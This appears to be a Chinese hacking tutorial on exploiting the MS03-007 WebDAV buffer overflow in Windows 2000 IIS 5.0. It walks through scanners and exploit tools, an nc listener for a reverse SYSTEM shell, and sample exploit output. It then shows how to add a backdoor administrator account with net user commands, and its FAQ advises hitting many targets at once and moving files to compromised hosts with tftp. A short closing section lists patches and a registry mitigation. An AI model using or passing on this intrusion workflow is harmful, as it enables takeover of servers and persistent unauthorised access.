你的分享就是我们的动力 ---﹥

WebDAV远程缓冲区溢出漏洞

时间:2013-03-06 11:44来源:www.chengxuyuans.com 点击:


目录


一 摘要
二 漏洞描述及受影响系统
三 涉及工具及使用方法
四 手工检验此漏洞的方法
五 解决方法
六 常见问题解答
七 结束语

结束语


一 摘要


Microsoft Windows 2000 WebDAV远程缓冲区溢出漏洞同样是微软的又一重大漏洞,据说前些年就有牛人发现了这个漏洞,只是最近才公布出来罢了。虽然WebDav是通过IIS才产生这个漏洞的,但是漏洞本身并不是IIS造成的,而是ntdll.dll里面的一个API函数造成的,也就是说很多调用这个API的应用程序都存在这个漏洞。好了,不多说了,往下看吧。


二 漏洞描述及受影响系统


Microsoft IIS 5.0(Internet Infomation Server 5)是Microsoft Windows 2000自带的一个网络信息服务器,其中包含HTTP服务功能。IIS5 默认提供了对WebDAV的支持,WebDAV可以通过HTTP向用户提供远程文件存储的服务。但是作为普通的HTTP服务器,这个功能不是必需的。

IIS 5.0包含的WebDAV组件不充分检查传递给部分系统组件的数据,远程攻击者利用这个漏洞对WebDAV进行缓冲区溢出攻击,可能以WEB进程权限在系统上执行任意指令。

IIS 5.0的WebDAV使用了ntdll.dll中的一些函数,而这些函数存在一个缓冲区溢出漏洞。通过对WebDAV的畸形请求可以触发这个溢出。成功利用这个漏洞可以获得LocalSystem权限。这意味着,入侵者可以获得主机的完全控制能力。


受影响系统: 
Microsoft IIS 5.0
    - Microsoft Windows 2000 Server SP3 
    - Microsoft Windows 2000 Server SP2 
    - Microsoft Windows 2000 Server SP1 
    - Microsoft Windows 2000 Server 
    - Microsoft Windows 2000 Professional SP3 
    - Microsoft Windows 2000 Professional SP2 
    - Microsoft Windows 2000 Professional SP1 
    - Microsoft Windows 2000 Professional 
    - Microsoft Windows 2000 Datacenter Server SP3 
    - Microsoft Windows 2000 Datacenter Server SP2 
    - Microsoft Windows 2000 Datacenter Server SP1 
    - Microsoft Windows 2000 Datacenter Server 
    - Microsoft Windows 2000 Advanced Server SP3 
    - Microsoft Windows 2000 Advanced Server SP2 
    - Microsoft Windows 2000 Advanced Server SP1 
    - Microsoft Windows 2000 Advanced Server


三 涉及工具及其使用方法


1 Webdavscan.exe(webdav扫描器)
2 Ptwebdav.exe(漏洞检测工具)
3 wd0.3-e.exe
4 webdavx3.exe
5 webdav.exe
6 big5.exe


1 Webdavscan.exe:
webdav漏洞专用扫描器,红客联盟出品。它可以对不同ip段进行扫描,来检测网段的Microsoft IIS 5.0服务器是否提供了对WebDAV的支持,如果结果显示enable,则说明此服务器支持webdav并可能存在漏洞。


2 Ptwebdav.exe:
用来检测远程Windows 2000 IIS5.0 服务器是否存在WebDAV远程缓冲区溢出漏洞
如果显示以下检测结果,表明可能存在漏洞:

Checking 61.149.100.*:80 ...
The remote server is VULNERABLE
See: http://www.microsoft.com/technet/security/bulletin/ms03-007.asp

如果显示以下检测结果,表明可能不存在此漏洞:
Checking 61.149.100.*:80 ...
The remote server is not vulnerable


3 wd0.3-e.exe:
针对英文版的溢出工具,并且是已汉化的图形界面,据说是所有版本中溢出英文版的IIS成功率最好的一个版本。各窗口应填内容如下:
目标:希望溢出的ip地址
端口:80
连接:偏移量,默认即可0-255
你的ip:你的ip
你的端口:即nc监听的端口,默认666
自定义:默认

在开始溢出之前,你需要用nc在本地监听666端口(或者其他端口),命令如下:
nc -L -vv -p 666
这样,一旦溢出成功,你将得到对方的一个有系统权限的shell


4 webdavx3.exe
isno的针对win2000中文版的溢出工具,不用NC监听端口,溢出成功后直接 telnet ip 7788即可
使用方法:
c:\>webdavx3.exe ip

显示运行结果如下:
IIS WebDAV overflow remote exploit by isno@xfocus.org
start to try offset,
if STOP a long time, you can press ^C and telnet 192.168.0.1 7788
try offset: 0
try offset: 1
try offset: 2
try offset: 3
waiting for iis restart....................... 
try offset: 4
waiting for iis restart....................... 
try offset: 5
waiting for iis restart....................... 
try offset: 6

如果出现上面的结果很可能溢出成功,稍等2,3分钟后,按Ctrl+C结束溢出,输入如下命令:
telnet ip 7788

Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.

C:\WINNT\system32>
成功了,我们来加个用户
c:\net user iqst password /add
c:\net localgroup administrators iqst /add 
好了,现在iqst这个帐户已经是管理员了,后面你要做的就不在这片文章的讨论范围之内了,由于溢出的shell都不是很稳定,所以建议你尽快建立帐户。


当然,你telnet时也有可能出现下面的内容:

F:\>telnet 61.149.12.* 7788
正在连接到61.149.12.*...无法打开到主机的连接 在端口 7788 : 连接失败

这说明你无法连接到对方7788端口,有可能是溢出失败,也有可能是溢出虽然成功,但7788端口被防火墙屏蔽,给你的建议是不要钻牛角尖,换一台再试。

如果webdavx3.exe像下面一直在试偏移量却没有成功的迹象,而且时间很长了,建议你放弃,也许对方没有漏洞或打了补丁:
C:\>webdavx3 192.168.0.1
IIS WebDAV overflow remote exploit by isno@xfocus.org
start to try offset,
if STOP a long time, you can press ^C and telnet 192.168.0.1 7788
try offset: 0
try offset: 1
try offset: 2
try offset: 3
try offset: 4
try offset: 5
try offset: 6
try offset: 7
try offset: 8
try offset: 9
try offset: 10
try offset: 11
try offset: 12
try offset: 13
try offset: 14
try offset: 15
try offset: 16
try offset: 17
try offset: 18
try offset: 19
try offset: -1
try offset: -2
try offset: -3
try offset: -4
try offset: -5
try offset: -6
try offset: -7
try offset: -8
try offset: -9
try offset: -10
try offset: -11
try offset: -12
try offset: -13
try offset: -14
try offset: -15
try offset: -16
…………………
总之,iis重起是溢出可能成功的标志


(本系列教程不定期更新,欲获得最新版本,请登陆官方网站:菜菜鸟社区 http://ccbirds.yeah.net)


5 webdav.exe
针对win2000中文版的溢出工具,溢出成功后可直接穿透防火墙获得shell,而不用担心端口被防火墙屏蔽。
它与webdavx3.exe的区别是:
1 溢出成功后不用你telnet到7788而是按回车后直接获得shell
2 偏移量不会自动增加,需要你自己一个一个的试
3 获得的shell不稳定,webdavx3.exe获得的shell比较稳定,用tftp传文件完全没有问题

usage: webdav.exe <server ip> [webport] [offset]
如:webdav.exe 61.149.100.* 80 0
如果offset为0不成功,可以再试1,2,3等,但一般试到5还没成功的话,可以放弃了,我的经验是大多成功都在0,1,2这里,如果出现下面类似的html信息,说明溢出失败,换个offset试试

F:\>webdav 61.55.53.6 80 0

 IIS5.0 HTTPEXT.DLL OVERFLOW xxxxxxxxxxxxx
 xxxxxxxxxxxxxxxxxxxxxxxxxx
 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
 usage: webdav <server> [webport] [offset]

 nuke ip: 61.55.53.6 port 80
 offset:0

 shellcode long 0xfb

 packetlong:0x10046

 send  packet 65731 bytes.
  recv:
 HTTP/1.1 404 Resource Not Found
Server: Microsoft-IIS/5.0
Date: Sun, 03 Aug 2003 09:46:03 GMT
Connection: close
Content-Type: text/html
Content-Length: 3733

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html dir=ltr>

<head>
<style> a:link                  {font:9pt/11pt 宋体; color:FF0000} a:visited
        {font:9pt/11pt 宋体; color:#4e4e4e}
</style>

<META NAME="ROBOTS" CONTENT="NOINDEX">

<title>无法找到网页</title>

<META HTTP-EQUIV="Content-Type" Content="text-html; charset=gb2312">
<META NAME="MS.LOCALE" CONTENT="ZH-CN">
</head>

………………………………………………………………………………………………………………


<li>单击<a href="javascript:history.back(1)">后退</a>按钮尝试其他链接。</li>
    </ul>

<h2 style="font:9pt/11pt 宋体; color:000000">HTTP 404 - 无法找到文件<br> Interne
t 信息服务<BR></h2>

        <hr color="#C0C0C0" noshade>

        <p>技术信息(支持个人)</p>

<ul>
<li>详细信息:<br><a href="http://www.microsoft.com/ContentRedirect.asp?prd=iis&
sbp=&pver=5.0&pid=&ID=404&cat=web&os=&over=&hrd=&Opt1=&Opt2=&Opt3=" target="_bla
nk">Microsoft 支持</a>
</li>
</ul>

    </font></td>
  </tr>

</table>
</body>
</html>

如果出现
C:\INETPUB\WWWROOT\NNNNN 
   OK! 
这样类似的话,回车,就会自动进入shell
C:\WINNT\SYSTEM32> 


我个人认为这个程序的成功率不如webdavx3.exe,而且一个一个的试offset很麻烦,获得的shell不稳定,所以我并不经常用这个程序


6 big5.exe
针对繁体版sp3的溢出工具,用法与webdavx3.exe相仿,我不多说了。


四 手工检验此漏洞的方法


telnet x.x.x.x 80 回车
然后输入 OPTIONS * HTTP/1.0 回车
如果返回信息如下:
HTTP/1.1 404 Object Not Found
Server: Microsoft-IIS/5.0
Date: Thu, 08 May 2003 09:53:18 GMT
Content-Type: text/html
Content-Length: 111

<html><head><title>Site Not Found</title></head>
                                                <body>No web site is configured
at this address.</body></html>

遗失对主机的连接。

说明这个主机没有这个漏洞!
但如果返回下面的结果那么这个机器就有可能有这个漏洞了!
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Thu, 08 May 2003 09:58:38 GMT
Content-Length: 0
Accept-Ranges: bytes
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIN
D, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND
, PROPPATCH, LOCK, UNLOCK, SEARCH
Cache-Control: private


遗失对主机的连接
 
介绍这个方法只是觉得好玩,相信谁也不会一台一台的手动检验的,


五 解决方法


临时解决方法: 


如果您不能立刻安装补丁或者升级,建议您采取以下措施以降低威胁: 


* 使用微软提供的IIS Lockdown工具可能可以防止该漏洞被利用。 


* WebDAV在IIS 5.0 WEB服务器上的实现Httpext.dll完成默认安装,但是简单更改Httpext.dll不能修正此漏洞,因为WINDOWS 2000的WFP功能会防止系统重要文件破坏或删除。要完全关闭WebDAV包括的PUT和DELETE请求,可对注册表进行如下更改: 

1、启动注册表编辑器(Regedt32.exe)。 

2、搜索注册表中的如下键: 

  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters 
  
3、点击'编辑'菜单,点增加值,然后增加如下注册表键值: 

value name: DisableWebDAV 
Data type: DWORD 
value data: 1 


厂商补丁: 

Microsoft 
--------- 
Microsoft已经为此发布了一个安全公告(MS03-007)以及相应补丁: 

MS03-007:Unchecked Buffer In Windows Component Could Cause Web Server Compromise(815021) 
链接:http://www.microsoft.com/technet/security/bulletin/MS03-007.asp 


补丁下载: 

Microsoft Windows 2000: 

http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en 

解决方案
========
1、安装安全补丁:
   Solution\Q815021_W2K_sp4_x86_CN.EXE -> 适用于中文Windows 2000
   Solution\Q815021_W2K_sp4_x86_EN.EXE -> 适用于英文Windows 2000
2、设置注册表:Solution\webdav.reg ->双击导入即可


六 常见问题解答


1)我在用webdavx3 ip 的时候,try offset 怎么一直进行下去,什么时候才会停啊??什么时候才重起啊?不会要让我自己把它停了吧!
答:如果offset的值累加到很大但却迟迟未出现waiting for iis restart,说明溢出很可能将失败,建议放弃,换另一个目标。建议你多开几个cmd,同时溢出不同的目标,这样效率会提高很多。

2)WebDav漏洞,入侵成功,怎样拷贝本地文件到肉鸡?
答:我一般都用tftp,因为webdavx3.exe获得的shell比较稳定,当然你也可以先开他的共享,建立用户,然后再用ipc管道传文件,不过这样显然麻烦了很多且降低了隐蔽性。

3)我在使用webdavx3.exe的时候出现如下信息,怎么回事?
This application has been generated with an evaluation license of the
PerlApp utility.  The evaluation license has expired now.  Please
contact the author of this application for a non-expiring version of
the program: yan xue <isno@hacker.com.cn>.
答:软件过期了,请把系统日期调前。


 

转载注明地址:http://www.chengxuyuans.com/hacker/basis/50959.html